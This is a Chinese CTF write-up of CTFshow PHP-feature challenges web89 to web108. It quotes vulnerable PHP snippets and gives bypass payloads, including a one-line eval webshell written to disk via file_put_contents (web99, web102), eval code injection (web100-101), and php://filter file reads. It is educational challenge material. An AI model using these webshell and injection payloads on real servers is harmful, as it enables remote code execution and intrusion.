CTFSHOW php特性WP(89-108)

CTFSHOW PHP特性部分WP

web89:

题目:


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    } 

isset:检测变量是否存在
intval:语法是intval (var, base),var是变量,base是要转换成的进制数,返回int型数值,如果base是0则自动检测0x或0b类型转换为10进制,intval不能检测数组或类
因此这道题目可以用数组绕过
playload:num[]=

web90:

题目:

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

这里用到的函数和上一个题目一样,主要是考察intval:

intval(var,base),如果base是0,那么看var是否有0x或者0b,有就自动将二进制,16进制,转换成10进制,如果没有,则默认为10进制,并且返回int型
贴出playload:

?num=4476.1(只要是小数就行,int返回4476,可以绕过)
?num=0b1000101111100(二进制)
?num=0x117c(十六进制)

web91

$ 也匹配 ‘\n’ 或 ‘\r’
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

这个题目主要考察我们对正则表达式的理解:

 $ 也匹配 '\n' 或 '\r'
  /i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

^php表示从一开始p开始进行匹配php,$表示从开始到结束
而m决定了是否多行匹配(类似于全文查找,但是没有全文查找那么好用)
因此:
要匹配多行匹配的表达式,不匹配单行表达式
给出playload:
?cmd=%0aphp

web92、93、94、95

考察点都是上面两个题,这里不写了

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
} 

highlight:指定要显示文件的内容
那这个题目思路很明确,就是要读取flag.php
我的思路:用filter伪协议读取:

playload:?u=php://filter/read=convert.base64-encode/resource=flag.php。然后base64编码一下就可以了
羽师傅的方法:
/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议    

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} 

这个就很简单了,考察值不相同但是md5相同
但是注意这里是强相等,因此普通的==md5就不能用了,因为是强相等,所以我们采用数组绕过

给出playload:a[]=1&b[]=2

web98:不会

题目:


include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

这个我最开始没有看懂,这里引用官方的WP
大致意思就是 通过三目运算符把GET请求变为POST请求
然后匹配

web99:

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

了解一下几个函数的意思:
array_push:

<?php
$a=array("red","green");
array_push($a,"blue","yellow");
print_r($a);
?>


Array ( [0] => red [1] => green [2] => blue [3] => yellow ) 

in_array:

in_array("Runoob", $sites):在sites里面搜索Runood,存在则返回1

file_put_contents() 函数把一个字符串写入文件中
file_put_contents在CTF是经常利用的漏洞:我们可以写一句话木马进去,然后蚁剑连接即可

给出playload:
GET:n=1.php
POST:<?php eval($_POST[1]);?)>

web100、101:

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    } 

思路:看了整个代码,能够拿来被我们利用的就是:eval
eval里面是可以进行内联注释的,但是这里我们先试着去拼接命令。
方法一:var_dump打印类:

 var_dump作用:
<?PHP
$a = "alsdflasdf;a";
$b = var_dump($a);
echo "<br>";
//var_dump($c);
$d=var_dump($c);
$e=var_dump(ctfshow);
echo "<br>";
echo $a;
echo "<br>";
echo $b;
echo "<br>";
echo $e;
输出:

string(12) "alsdflasdf;a"
NULL
alsdflasdf;a
string(7);ctfshow

所以这里我们就可以采用var_dump拼接。
其次因为“=”的优先性高于and
所以v1=数字就可以绕过,v2,v3拼我们的命令
给出playload:

v1=1&v2=var_dump($ctfshow)v3=;

这里拼接完成之后是 eval(var_dump($ctfshow)ctfshow;)
貌似那个ctfshow影响不是很大
方便更好的理解,我们就采用内联注释符注释掉就好

v1=1&v2=var_dump($ctfshow)/*&v3=*/;

这样也是正确的
羽师傅的WP:
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
payload:?v1=1&v2=echo new ReflectionClass&v3=;

web102:

substr(string,start,length):start必须,表示从第几个字符开始(0开始计数);length非必须,表示截取的长度

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?> 

这道题目我自己本身是没有做出来(很多都是后面看WP看懂的)
思路:最开始看见了file_put_contents一下想到的是写一句话木马蚁剑连接,之后看见str字符串是经过一个call_user_func函数了,自己没有想到使用什么内置函数。

正确做法:首先is_numeric判断我们传入的V2是不是数字,那这里我就用16进制转换,然后恰好后面substr可以截取我的0x,我再调用hex2b内置函数把我的16进制转换成字符串,就可以写进去了,这里给出playload

v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

看似没有什么大问题,但是,我页面老是返回我HACKER,说明我连is_numeric都没有通过,然后其他师傅们的WP里面说,
在这里插入图片描述在php7版本里面,16进制不会被识别为数字,在php5版本里面,是可以的。
!!危 这里出大问题,那怎么办
正确做法:既然file_get_contents是把php代码写入页面里面,那我可不可以把页面转换成64进制,然后写一个64进制进去呢?这样效果还是大同小异的把。
开干:
用filter读取base64编码,V2我们先base64,再转换成16,这样就没有字母了,就绕过了。
给出这道题目最终正确得playload:

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin

web 103、106:

这个题目和查看源代码一样简单:

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

出题人失误了把,没有判断v1!=v2,直接传入两个相等的值判断是否相等就好了
!出题人不失误了!

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

之前我们遇到的是md5,这里我们遇到的是sha1,这两个有个共同的特点就是:无法处理数组,因此我们可以直接数组进行绕过,当然,也有sha1相等但是值不相等的
给出playload:

GET:v2[]=1    POST:v1[]=3
sha1相等但是值不相等的:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
自己挑把

web 105:

考察 变量覆盖,看是看懂了,但是还是有点没懂,我就不误人子弟了

web107:

parse_str:
<!DOCTYPE html>
<html>
<body>

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
  
</body>
</html>

这下应该懂了把,将字符串解析成变量

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

} 

题目考察parse_str这个函数,这个函数上面已经给出意思了,就是把字符串解析成变量传给v2,那这里当时没有做出来的原因主要是,不知道可以写成v1=flag=c4ca4238a0b923820dcc509a6f75849b(1的ma5值)
后来看WP看明白了,那就很简单了,直接给出playload
:
v1=flag=c4ca4238a0b923820dcc509a6f75849b v2=1

web108

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。


    $email_id = "admin@tutorialspoint.com";
    $retval = ereg("(\.)(com$)", $email_id);
    if( $retval == true )
    {
       echo "Found a .com<br>";
    }
    else
    {
       echo "Could not found a .com<br>";
    }


echo Found a .com
strrev:反串字符串
<?php
echo strrev("I love Shanghai!");
?>

echo !iahgnahS evol I 

intval() 函数:通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
这个题目最开始我的思路是:
ereg是正则匹配,必须是字母,0x36d的32进制恰好也是字母,然后strrev会反转字符串,前面两个都达成了,最后一个 intval识别不了32进制,没办法,这个方法不行
看了师傅们的WP ,是这样的:
%00截断 给出playload:a%00778
经过反转:877%00a
playload: c=a%00778

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值